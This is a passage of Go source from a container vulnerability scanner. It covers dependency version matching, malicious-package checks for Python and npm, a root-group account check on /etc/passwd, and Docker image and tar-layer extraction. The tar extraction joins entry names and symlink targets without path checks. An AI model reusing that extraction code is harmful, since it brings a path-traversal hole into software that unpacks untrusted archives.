\"=\") {\n\t\t\t\tvulnMinVersion := rpmversion.NewVersion(row.MinVersion[1:])\n\n\t\t\t\tif currentVersion.Compare(vulnMaxVersion) < 0 &&\n\t\t\t\t\tcurrentVersion.Compare(vulnMinVersion) >= 0 {\n\t\t\t\t\tvuln := getInfo(row, currentVersion.String(), ty)\n\t\t\t\t\tvulns = append(vulns, vuln)\n\n\t\t\t\t\tisVulnerable = true\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tvulnMinVersion := rpmversion.NewVersion(row.MinVersion)\n\n\t\t\t\tif currentVersion.Compare(vulnMaxVersion) < 0 &&\n\t\t\t\t\tcurrentVersion.Compare(vulnMinVersion) > 0 {\n\t\t\t\t\tvuln := getInfo(row, currentVersion.String(), ty)\n\t\t\t\t\tvulns = append(vulns, vuln)\n\n\t\t\t\t\tisVulnerable = true\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn vulns, isVulnerable\n}\n\nfunc (ps *Scanner) checkPythonModule(ctx context.Context, pys []*packages.Python, m *layer.Manifest) error {\n\n\tpyVuln := []*vulnComponent{}\n\n\tfor _, py := range pys {\n\n\t\t// Check the pth file in site-packages\n\t\t// reference: https://github.com/kvesta/vesta/wiki/Backdoor-Detection\n\t\tsitePackagePath := filepath.Join(m.Localpath, py.SitePath)\n\t\tfor _, p := range listPythonPth(sitePackagePath) {\n\n\t\t\tfilename := filepath.Join(sitePackagePath, p)\n\n\t\t\tif sus := match.PyMalwareScan(filename); sus.Types != 0 {\n\t\t\t\tvuln := &vulnComponent{\n\t\t\t\t\tName:              fmt.Sprintf(\"%s - %s\", py.Version, py.SitePath),\n\t\t\t\t\tLevel:             \"high\",\n\t\t\t\t\tScore:             9.5,\n\t\t\t\t\tType:              \"Python\",\n\t\t\t\t\tCurrentVersion:    py.Version,\n\t\t\t\t\tVulnerableVersion: \"-\",\n\t\t\t\t\tDesc: fmt.Sprintf(\"Malicious package is detected in '%s', \"+\n\t\t\t\t\t\t\"%s\", strings.TrimPrefix(filename, m.Localpath),\n\t\t\t\t\t\tsus.OriginPack),\n\t\t\t\t}\n\n\t\t\t\tpyVuln = append(pyVuln, vuln)\n\t\t\t}\n\t\t}\n\n\t\tfor _, si := range py.SitePacks {\n\t\t\t// Get setup.py of python package\n\n\t\t\tsites := filepath.Join(m.Localpath, py.SitePath, si.Name)\n\t\t\tif py.SitePath == \"poetry\" {\n\t\t\t\tgoto checkVersion\n\t\t\t}\n\n\t\t\tfor _, p := range listPythonSitePack(sites) {\n\t\t\t\tfilename := filepath.Join(sites, p)\n\t\t\t\tif sus := match.PyMalwareScan(filename); sus.Types != 0 {\n\t\t\t\t\tvuln := &vulnComponent{\n\t\t\t\t\t\tName:              fmt.Sprintf(\"%s - %s\", py.Version, si.Name),\n\t\t\t\t\t\tLevel:             \"high\",\n\t\t\t\t\t\tScore:             8.5,\n\t\t\t\t\t\tType:              \"Python\",\n\t\t\t\t\t\tCurrentVersion:    si.Version,\n\t\t\t\t\t\tVulnerableVersion: \"-\",\n\t\t\t\t\t\tDesc: fmt.Sprintf(\"Malicious package is detected in '%s', \"+\n\t\t\t\t\t\t\t\"%s\", strings.TrimPrefix(filename, m.Localpath),\n\t\t\t\t\t\t\tsus.OriginPack),\n\t\t\t\t\t}\n\n\t\t\t\t\tpyVuln = append(pyVuln, vuln)\n\n\t\t\t\t\tgoto checkVersion\n\t\t\t\t}\n\t\t\t}\n\n\t\tcheckVersion:\n\t\t\trows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(si.Name))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif vs, vuln := compareVersion(rows, si.Version, \"Python\", []string{\"*\", \"python\"}); vuln {\n\t\t\t\tfor _, v := range vs {\n\t\t\t\t\tv.Name = fmt.Sprintf(\"%s - %s\", py.Version, si.Name)\n\t\t\t\t}\n\n\t\t\t\tsortSeverity(vs)\n\t\t\t\tpyVuln = append(pyVuln, vs...)\n\t\t\t}\n\n\t\t\tif sus := match.PyMatch(si.Name); sus.Types != 0 {\n\t\t\t\tvuln := &vulnComponent{\n\t\t\t\t\tName:              fmt.Sprintf(\"%s - %s\", py.Version, si.Name),\n\t\t\t\t\tLevel:             \"medium\",\n\t\t\t\t\tScore:             7.5,\n\t\t\t\t\tType:              \"Python\",\n\t\t\t\t\tCurrentVersion:    si.Version,\n\t\t\t\t\tVulnerableVersion: \"-\",\n\t\t\t\t}\n\t\t\t\tswitch sus.Types {\n\t\t\t\tcase 1:\n\t\t\t\t\tvuln.Desc = fmt.Sprintf(\"Suspicious malicious package, \"+\n\t\t\t\t\t\t\"compared name: %s\", sus.OriginPack)\n\t\t\t\tcase 2:\n\t\t\t\t\tvuln.Desc = fmt.Sprintf(\"Detect the pypi malware,\"+\n\t\t\t\t\t\t\"origin package name is: %s\", sus.OriginPack)\n\t\t\t\tdefault:\n\t\t\t\t\t// ignore\n\t\t\t\t}\n\n\t\t\t\tpyVuln = append(pyVuln, vuln)\n\t\t\t}\n\n\t\t}\n\t}\n\n\tps.Vulns = append(ps.Vulns, pyVuln...)\n\n\treturn nil\n}\n\nfunc (ps *Scanner) checkNpmModule(ctx context.Context, nodes []*packages.Node) error {\n\n\tnpmVuln := []*vulnComponent{}\n\n\tfor _, node := range nodes {\n\n\t\tfor _, npm := range node.NPMS {\n\t\t\trows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(npm.Name))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif vs, vuln := compareVersion(rows, npm.Version, \"Node\", []string{\"node.js\"}); vuln {\n\t\t\t\tfor _, v := range vs {\n\t\t\t\t\tv.Name = fmt.Sprintf(\"%s - %s\", node.Version, npm.Name)\n\t\t\t\t}\n\n\t\t\t\tsortSeverity(vs)\n\t\t\t\tnpmVuln = append(npmVuln, vs...)\n\t\t\t}\n\n\t\t\tif sus := match.NpmMatch(npm.Name); sus.Types != 0 {\n\t\t\t\tvuln := &vulnComponent{\n\t\t\t\t\tName:              fmt.Sprintf(\"%s - %s\", node.Version, npm.Name),\n\t\t\t\t\tLevel:             \"medium\",\n\t\t\t\t\tScore:             7.5,\n\t\t\t\t\tType:              \"Node\",\n\t\t\t\t\tCurrentVersion:    npm.Version,\n\t\t\t\t\tVulnerableVersion: \"-\",\n\t\t\t\t}\n\t\t\t\tswitch sus.Types {\n\t\t\t\tcase 1:\n\t\t\t\t\tvuln.Desc = fmt.Sprintf(\"Suspicious malicious package, \"+\n\t\t\t\t\t\t\"compared name: %s\", sus.OriginPack)\n\t\t\t\tcase 2:\n\t\t\t\t\tvuln.Desc = fmt.Sprintf(\"Detect the node malware,\"+\n\t\t\t\t\t\t\"origin package name is: %s\", sus.OriginPack)\n\n\t\t\t\tdefault:\n\t\t\t\t\t// ignore\n\t\t\t\t}\n\n\t\t\t\tnpmVuln = append(npmVuln, vuln)\n\t\t\t}\n\t\t}\n\n\t}\n\n\tps.Vulns = append(ps.Vulns, npmVuln...)\n\n\treturn nil\n}\n\nfunc (ps *Scanner) checkGoMod(ctx context.Context, gobins []*packages.GOBIN) error {\n\n\tgoVuln := []*vulnComponent{}\n\n\tfor _, gobin := range gobins {\n\n\t\tfor _, mod := range gobin.Deps {\n\t\t\trows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(mod.Name))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif vs, vuln := compareVersion(rows, mod.Version, \"Go\", []string{\"*\"}); vuln {\n\t\t\t\tfor _, v := range vs {\n\t\t\t\t\tv.Name = fmt.Sprintf(\"%s (%s) - %s\", gobin.Name, gobin.Path, mod.Path)\n\t\t\t\t}\n\n\t\t\t\tsortSeverity(vs)\n\t\t\t\tgoVuln = append(goVuln, vs...)\n\t\t\t}\n\t\t}\n\n\t}\n\n\tps.Vulns = append(ps.Vulns, goVuln...)\n\n\treturn nil\n}\n\nfunc (ps *Scanner) checkJavaPacks(ctx context.Context, javas []*packages.JAVA) error {\n\n\tjavaVuln := []*vulnComponent{}\n\n\tfor _, java := range javas {\n\n\t\tfor _, jar := range java.Jars {\n\t\t\trows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(jar.Name))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif vs, vuln := compareVersion(rows, jar.Version, \"Java\", []string{\"*\"}); vuln {\n\t\t\t\tfor _, v := range vs {\n\t\t\t\t\tv.Name = fmt.Sprintf(\"%s (%s) - %s\", java.Name, java.Path, jar.Name)\n\t\t\t\t}\n\n\t\t\t\tsortSeverity(vs)\n\t\t\t\tjavaVuln = append(javaVuln, vs...)\n\t\t\t}\n\t\t}\n\n\t}\n\n\tps.Vulns = append(ps.Vulns, javaVuln...)\n\n\treturn nil\n}\n\nfunc (ps *Scanner) checkPHPPacks(ctx context.Context, phps []*packages.PHP) error {\n\n\tphpVuln := []*vulnComponent{}\n\n\tfor _, php := range phps {\n\n\t\tfor _, pack := range php.Packs {\n\t\t\trows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(pack.Name))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif vs, vuln := compareVersion(rows, pack.Version, \"PHP\", []string{\"*\"}); vuln {\n\t\t\t\tfor _, v := range vs {\n\t\t\t\t\tv.Name = fmt.Sprintf(\"%s (%s) - %s\", php.Name, php.Path, pack.Name)\n\t\t\t\t}\n\n\t\t\t\tsortSeverity(vs)\n\t\t\t\tphpVuln = append(phpVuln, vs...)\n\t\t\t}\n\t\t}\n\n\t}\n\n\tps.Vulns = append(ps.Vulns, phpVuln...)\n\n\treturn nil\n}\n\nfunc (ps *Scanner) checkRustPacks(ctx context.Context, rusts []*packages.Rust) error {\n\n\trustVuln := []*vulnComponent{}\n\n\tfor _, cargo := range rusts {\n\n\t\tfor _, pack := range cargo.Deps {\n\t\t\trows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(pack.Name))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif vs, vuln := compareVersion(rows, pack.Version, \"Rust\", []string{\"*\", \"rust\"}); vuln {\n\t\t\t\tfor _, v := range vs {\n\t\t\t\t\tv.Name = fmt.Sprintf(\"%s (%s) - %s\", cargo.Name, cargo.Path, pack.Name)\n\t\t\t\t}\n\n\t\t\t\tsortSeverity(vs)\n\t\t\t\trustVuln = append(rustVuln, vs...)\n\t\t\t}\n\t\t}\n\n\t}\n\n\tps.Vulns = append(ps.Vulns, rustVuln...)\n\n\treturn nil\n}\n\nfunc (ps *Scanner) checkPackageVersion(ctx context.Context, packs []*packages.Package, os string) error {\n\n\tpackVuln := []*vulnComponent{}\n\tos = strings.ToLower(os)\n\n\tif os == \"centos\" || os == \"rhel\" {\n\t\tfor _, p := range packs {\n\n\t\t\trows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(p.Name))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif vs, vuln := compareRpmVersion(rows, p.Version, \"System\", []string{\"*\"}); vuln {\n\t\t\t\tfor _, v := range vs {\n\t\t\t\t\tv.Name = p.Name\n\t\t\t\t}\n\n\t\t\t\tsortSeverity(vs)\n\t\t\t\tpackVuln = append(packVuln, vs...)\n\t\t\t}\n\t\t}\n\n\t\tps.Vulns = append(ps.Vulns, packVuln...)\n\n\t\treturn nil\n\t}\n\n\tfor _, p := range packs {\n\t\trows, err := ps.VulnDB.QueryVulnByName(strings.ToLower(p.Name))\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif vs, vuln := compareVersion(rows, p.Version, \"System\", []string{\"*\"}); vuln {\n\t\t\tfor _, v := range vs {\n\t\t\t\tv.Name = p.Name\n\t\t\t}\n\n\t\t\tsortSeverity(vs)\n\t\t\tpackVuln = append(packVuln, vs...)\n\t\t}\n\t}\n\n\tps.Vulns = append(ps.Vulns, packVuln...)\n\n\treturn nil\n}\n\n// getOthers into the database of the vulnerabilities\nfunc (ps *Scanner) getOthers(ctx context.Context, others []*packages.Other) error {\n\tothersVuln := []*vulnComponent{}\n\tfor _, oth := range others {\n\t\tothVuln := &vulnComponent{\n\t\t\tName:              oth.Name,\n\t\t\tCurrentVersion:    \"-\",\n\t\t\tVulnerableVersion: \"-\",\n\t\t\tType:              \"Others\",\n\t\t\tCVEID:             oth.Title,\n\t\t\tLevel:             oth.Level,\n\t\t\tScore:             oth.Score,\n\t\t\tDesc:              oth.Desc,\n\t\t}\n\n\t\tothersVuln = append(othersVuln, othVuln)\n\t}\n\n\tsortSeverity(othersVuln)\n\tps.Vulns = append(ps.Vulns, othersVuln...)\n\n\treturn nil\n}\n\n// checkPassword check other user belongs to root in /etc/passwd\nfunc (ps *Scanner) checkPassword(ctx context.Context, m *layer.Manifest) error {\n\n\tpassVuln := []*vulnComponent{}\n\n\tpassFile := filepath.Join(m.Localpath, \"etc/passwd\")\n\tf, err := os.Open(passFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer f.Close()\n\n\tscanner := bufio.NewScanner(f)\n\n\tfor scanner.Scan() {\n\t\tpass := strings.Split(scanner.Text(), \":\")\n\t\tif pass[2] != \"0\" && pass[3] == \"0\" && !strings.HasSuffix(pass[6], \"/sbin/nologin\") {\n\t\t\tvulnAccount := &vulnComponent{\n\t\t\t\tName:              \"Account of /etc/passwd\",\n\t\t\t\tCurrentVersion:    \"-\",\n\t\t\t\tVulnerableVersion: \"-\",\n\t\t\t\tType:              \"Others\",\n\t\t\t\tCVEID:             fmt.Sprintf(\"Suspicious Account: '%s'\", pass[0]),\n\t\t\t\tLevel:             \"medium\",\n\t\t\t\tScore:             6.5,\n\t\t\t\tDesc: fmt.Sprintf(\"Account '%s' in /etc/passwd is not root \"+\n\t\t\t\t\t\"but in the group of root. Account line: '%s'\", pass[0],\n\t\t\t\t\tstrings.Join(pass[0:5], \":\")+\" \"+strings.Join(pass[5:7], \":\")),\n\t\t\t}\n\n\t\t\tpassVuln = append(passVuln, vulnAccount)\n\n\t\t}\n\n\t}\n\n\tps.Vulns = append(ps.Vulns, passVuln...)\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/extractor.go",
    "content": "package pkg\n\nimport (\n\t\"archive/tar\"\n\t\"errors\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nfunc exists(path string) bool {\n\t_, err := os.Stat(path)\n\tif err != nil {\n\t\tif os.IsExist(err) {\n\t\t\treturn true\n\t\t}\n\n\t\treturn false\n\t}\n\treturn true\n}\n\n// Walk ignore the file which is vert large\nfunc Walk(tarReader *tar.Reader, path string) error {\n\tfor hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\textractFile := filepath.Join(path, hdr.Name)\n\n\t\t// ignore the file larger than 1GB\n\t\tif hdr.Size > 1073741824 {\n\t\t\tcontinue\n\t\t}\n\n\t\tswitch hdr.Typeflag {\n\t\tcase tar.TypeDir:\n\t\t\tif !exists(extractFile) {\n\t\t\t\tif err := os.MkdirAll(extractFile, 0775); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\tcase tar.TypeReg:\n\t\t\tfile, err := os.OpenFile(extractFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t_, err = io.Copy(file, tarReader)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"file %s cannot extract: %v\", hdr.Name, err)\n\t\t\t}\n\t\tcase tar.TypeSymlink:\n\t\t\tlinkName := filepath.Join(path, hdr.Linkname)\n\n\t\t\terr = os.Symlink(linkName, extractFile)\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\tdefault:\n\t\t\t// ignore\n\t\t}\n\t}\n\treturn nil\n}\n\n// AnalyzeTarLayer get manifest.json and layer.tar from tar file\nfunc AnalyzeTarLayer(tarReader *tar.Reader, tempPath string) (string, string, error) {\n\tvar manifest, histories string\n\n\timageIdReg := regexp.MustCompile(`^[0-9a-fA-F]{64}\\.json$`)\n\n\tfor hdr, err := tarReader.Next(); err != io.EOF; hdr, err = tarReader.Next() {\n\t\tif err != nil {\n\t\t\treturn manifest, histories, err\n\t\t}\n\n\t\tif hdr.Name == \"manifest.json\" {\n\t\t\tb, err := io.ReadAll(tarReader)\n\t\t\tmanifest = string(b)\n\t\t\tif err != nil {\n\t\t\t\treturn manifest, histories, err\n\t\t\t}\n\t\t} else if imageIdReg.MatchString(hdr.Name) {\n\t\t\t// Get the image histories\n\t\t\tb, err := io.ReadAll(tarReader)\n\t\t\thistories = string(b)\n\t\t\tif err != nil {\n\t\t\t\treturn manifest, histories, err\n\t\t\t}\n\t\t} else if filepath.Base(hdr.Name) == \"layer.tar\" {\n\t\t\tlayerFile := filepath.Join(tempPath, filepath.Dir(hdr.Name)+\".tar\")\n\t\t\tfile, err := os.OpenFile(layerFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t_, err = io.Copy(file, tarReader)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"file %s cannot extract: %v\", hdr.Name, err)\n\t\t\t}\n\t\t} else if strings.HasPrefix(hdr.Name, \"blobs/sha256/\") && len(hdr.Name) > 15 {\n\t\t\t// Adapt for the new docker image format after Docker Version 25.0.0\n\t\t\tlayerFile := filepath.Join(tempPath, filepath.Base(hdr.Name)[:64]+\".tar\")\n\t\t\tfile, err := os.OpenFile(layerFile, os.O_CREATE|os.O_RDWR, os.FileMode(hdr.Mode))\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\t_, err = io.Copy(file, tarReader)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"file %s cannot extract: %v\", hdr.Name, err)\n\t\t\t}\n\t\t}\n\n\t}\n\n\tif manifest == \"\" {\n\t\terr := errors.New(\"manifest not found\")\n\t\treturn manifest, histories, err\n\t}\n\n\treturn manifest, histories, nil\n}\n"
  },
  {
    "path": "pkg/inspector/client.go",
    "content": "package inspector\n\nimport (\n\t\"context\"\n\n\t\"github.com/docker/docker/client\"\n)\n\nvar (\n\tctx = context.Background()\n)\n\ntype DockerApi struct {\n\tDCli *client.Client\n}\n"
  },
  {
    "path": "pkg/inspector/container.go",
    "content": "package inspector\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/docker/docker/api/types\"\n\t\"github.com/kvesta/vesta/config\"\n)\n\nfunc (da *DockerApi) GetContainerName(containerID string) ([]io.ReadCloser, error) {\n\tvar whiteList = []string{\"/\", \"/etc\", \"/proc\",\n\t\t\"/sys\", \"/usr\", \"/lib\", \"/lib64\"}\n\tvar containerIo []io.ReadCloser\n\n\tisWhite := func(path string) bool {\n\t\tfor _, whitePath := range whiteList {\n\t\t\tif path == whitePath {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\n\t\treturn false\n\t}\n\n\tlog.Printf(config.Green(\"Searching for container\"))\n\tfileio, err := da.DCli.ContainerExport(ctx, containerID)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcontainerIo = append(containerIo, fileio)\n\n\t// Get mount path, reference: https://docs.docker.com/engine/reference/commandline/export/#description\n\tins, err := da.DCli.ContainerInspect(ctx, containerID)\n\n\tif err == nil {\n\t\tvar mnts []types.MountPoint\n\t\tif ins.Mounts != nil {\n\t\t\tmnts = ins.Mounts\n\t\t}\n\n\t\tfor _, mnt := range mnts {\n\t\t\tif isWhite(mnt.Source) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tcp, stats, err := da.DCli.CopyFromContainer(ctx, containerID, mnt.Destination)\n\t\t\t// Skip the large file\n\t\t\tif err != nil || stats.Size > 1073741824 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tcontainerIo = append(containerIo, cp)\n\t\t}\n\t}\n\n\treturn containerIo, err\n}\n\nfunc (da *DockerApi) GetAllContainers() ([]*types.ContainerJSON, error) {\n\tinps := []*types.ContainerJSON{}\n\tcontainers, err := da.DCli.ContainerList(ctx, types.ContainerListOptions{})\n\tif err != nil {\n\t\treturn inps, err\n\t}\n\tfor _, c := range containers {\n\t\t// pass the kubernetes pod for kubernetes version < 1.24\n\t\tif strings.Contains(c.Names[0], \"k8s\") {\n\t\t\tcontinue\n\t\t}\n\t\tins, err := da.DCli.ContainerInspect(ctx, c.ID[:12])\n\t\tif err != nil {\n\t\t\tlog.Printf(\"%s cannot inpsect, error: %v\", c.Names, err)\n\t\t}\n\t\tinps = append(inps, &ins)\n\t}\n\n\treturn inps, nil\n}\n\nfunc (da *DockerApi) GetEngineVersion(ctx context.Context) (string, error) {\n\tlog.Printf(\"Getting engine version\")\n\n\tvar version string\n\n\tserver, err := da.DCli.ServerVersion(ctx)\n\tif err != nil {\n\t\treturn version, err\n\t}\n\tfor _, s := range server.Components {\n\t\tif s.Name == \"containerd\" {\n\t\t\tversion = s.Version\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn version, err\n}\n\nfunc (da *DockerApi) GetDockerServerVersion(ctx context.Context) (string, error) {\n\tlog.Printf(\"Getting docker server version\")\n\n\tvar version string\n\n\tserver, err := da.DCli.ServerVersion(ctx)\n\tif err != nil {\n\t\treturn version, err\n\t}\n\n\tversion = server.Version\n\n\treturn version, nil\n}\n\nfunc (da *DockerApi) FindDockerService(name string) bool {\n\tsws, err := da.DCli.ServiceList(context.Background(), types.ServiceListOptions{})\n\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, swarm := range sws {\n\t\tif strings.HasPrefix(name, swarm.Spec.Name) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n"
  },
  {
    "path": "pkg/inspector/image.go",
    "content": "package inspector\n\nimport (\n\t\"io\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/docker/docker/api/types\"\n\timagev1 \"github.com/docker/docker/api/types/image\"\n\t\"github.com/kvesta/vesta/config\"\n)\n\nfunc (da *DockerApi) GetImageName(imageID string) ([]io.ReadCloser, error) {\n\n\tvar imageList []string\n\n\timages, err := da.DCli.ImageList(ctx, types.ImageListOptions{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfilter := regexp.MustCompile(`^[a-f0-9]{12}$`)\n\tif filter.MatchString(imageID) {\n\t\tfor _, image := range images {\n\t\t\tif len(image.RepoTags) < 1 {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tsha := strings.Split(image.ID, \":\")[1]\n\t\t\tif imageID == sha[:12] {\n\t\t\t\timageList = append(imageList, image.RepoTags[0])\n\t\t\t}\n\t\t}\n\t} else {\n\t\timageList = append(imageList, imageID)\n\t}\n\n\tlog.Printf(config.Green(\"Searching for image\"))\n\tfileio, err := da.DCli.ImageSave(ctx, imageList)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn []io.ReadCloser{fileio}, nil\n}\n\ntype ImageInfo struct {\n\tSummary types.ImageSummary\n\tHistory []imagev1.HistoryResponseItem\n}\n\nfunc (da *DockerApi) GetAllImage() ([]*ImageInfo, error) {\n\n\timages := []*ImageInfo{}\n\tims, err := da.DCli.ImageList(ctx, types.ImageListOptions{})\n\n\tfor _, im := range ims {\n\t\this, err := da.DCli.ImageHistory(ctx, im.ID)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\timage := &ImageInfo{\n\t\t\tSummary: im,\n\t\t\tHistory: his,\n\t\t}\n\n\t\timages = append(images, image)\n\t}\n\n\tif err != nil {\n\t\treturn images, err\n\t}\n\n\treturn images, nil\n}\n"
  },
  {
    "path": "pkg/inspector/utils.go",
    "content": "package inspector\n\nimport (\n\t\"context\"\n\t\"io\"\n\t\"log\"\n\n\t\"github.com/docker/docker/client\"\n)\n\nfunc GetTarFromID(ctx context.Context, ID string) ([]io.ReadCloser, error) {\n\tvar err error\n\n\t// Use the inspector id from containerd or crio\n\tcli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())\n\tif err != nil {\n\t\tlog.Printf(\"init docker environment failed: %v\", err)\n\t\treturn nil, err\n\t}\n\tc := DockerApi{\n\t\tDCli: cli,\n\t}\n\n\tdefer c.DCli.Close()\n\n\tvar tarFile []io.ReadCloser\n\n\tif ctx.Value(\"tarType\") == \"image\" {\n\t\ttarFile, err = c.GetImageName(ID)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"get image error: %v\", err)\n\t\t}\n\t} else {\n\t\ttarFile, err = c.GetContainerName(ID)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"expose inspector file error: %v\", err)\n\t\t\treturn nil, err\n\t\t}\n\n\t}\n\n\treturn tarFile, nil\n}\n"
  },
  {
    "path": "pkg/layer/files.go",
    "content": "package layer\n\nimport (\n\t\"bytes\"\n\t\"io/fs\"\n\t\"os\"\n)\n\nfunc (m *Manifest) File(file string) (*bytes.Buffer, error) {\n\tfsys := os.DirFS(m.Localpath)\n\tbuf := []byte{}\n\tif err := fs.WalkDir(fsys, \".\", func(path string, d fs.DirEntry, err error) error {\n\t\tswitch {\n\t\tcase err != nil:\n\t\t\treturn err\n\t\tcase d.IsDir():\n\t\t\treturn nil\n\t\t}\n\n\t\tif path == file {\n\t\t\tbuf, err = fs.ReadFile(fsys, path)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\n\t\treturn nil\n\t}); err != nil {\n\t\treturn bytes.NewBuffer(buf), err\n\t}\n\n\treturn bytes.NewBuffer(buf), nil\n}\n"
  },
  {
    "path": "pkg/layer/integrator.go",
    "content": "package layer\n\nimport (\n\t\"archive/tar\"\n\t\"context\"\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/docker/docker/api/types\"\n\t\"github.com/docker/docker/api/types/image\"\n\t\"github.com/kvesta/vesta/pkg\"\n\t_image \"github.com/kvesta/vesta/pkg/inspector\"\n\t\"github.com/tidwall/gjson\"\n)\n\nfunc md5Stamp() string {\n\ttimeStamp := time.Now().String()\n\tmd5h := md5.Sum([]byte(timeStamp))\n\treturn hex.EncodeToString(md5h[:])\n}\n\nfunc (m *Manifest) GetLayers(ctx context.Context, tarReader *tar.Reader, tempPath string) error {\n\n\tmanifest, histories, err := pkg.AnalyzeTarLayer(tarReader, tempPath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tm.Hash = md5Stamp()\n\n\tresult := gjson.Parse(manifest).Value()\n\n\tif result == nil {\n\t\terr := errors.New(\"illegal inspector tar file\")\n\t\treturn err\n\t}\n\tvalue := result.([]interface{})[0].(map[string]interface{})\n\n\t// if not contains name, use tar hash\n\tif value[\"RepoTags\"] == nil {\n\t\tm.Name = value[\"Config\"].(string)[:64]\n\t} else {\n\t\tm.Name = value[\"RepoTags\"].([]interface{})[0].(string)\n\t}\n\n\tlayers := value[\"Layers\"].([]interface{})\n\tfor _, layer := range layers {\n\t\t// Adapter for the new docker image format after Docker Version 25.0.0\n\t\tlayer = strings.Replace(layer.(string), \"blobs/sha256/\", \"\", 1)\n\t\tm.Layers = append(m.Layers, &Layer{\n\t\t\tHash:       layer.(string)[:64],\n\t\t\tAnnotation: \"\",\n\t\t})\n\t}\n\n\t// Re-read the history from the manifest.json for the new docker image format\n\tif strings.HasPrefix(value[\"Config\"].(string), \"blobs/sha256/\") {\n\t\tb, err := os.ReadFile(filepath.Join(tempPath, filepath.Base(value[\"Config\"].(string))+\".tar\"))\n\t\thistories = string(b)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\thistoryParse := gjson.Get(histories, \"history\").Value()\n\tm.Histories = []*_image.ImageInfo{\n\t\t{\n\t\t\tSummary: types.ImageSummary{\n\t\t\t\tID:       value[\"Config\"].(string)[:64],\n\t\t\t\tRepoTags: []string{m.Name},\n\t\t\t},\n\t\t\tHistory: []image.HistoryResponseItem{},\n\t\t},\n\t}\n\tfor _, history := range historyParse.([]interface{}) {\n\t\tmapHistory := history.(map[string]interface{})\n\n\t\tpd, _ := time.Parse(time.RFC3339, mapHistory[\"created\"].(string))\n\t\th := image.HistoryResponseItem{\n\t\t\tCreated:   pd.Unix(),\n\t\t\tCreatedBy: mapHistory[\"created_by\"].(string),\n\t\t}\n\n\t\tif mapHistory[\"comment\"] != nil {\n\t\t\th.Comment = mapHistory[\"comment\"].(string)\n\t\t}\n\n\t\tm.Histories[0].History = append(m.Histories[0].History, h)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/layer/layer.go",
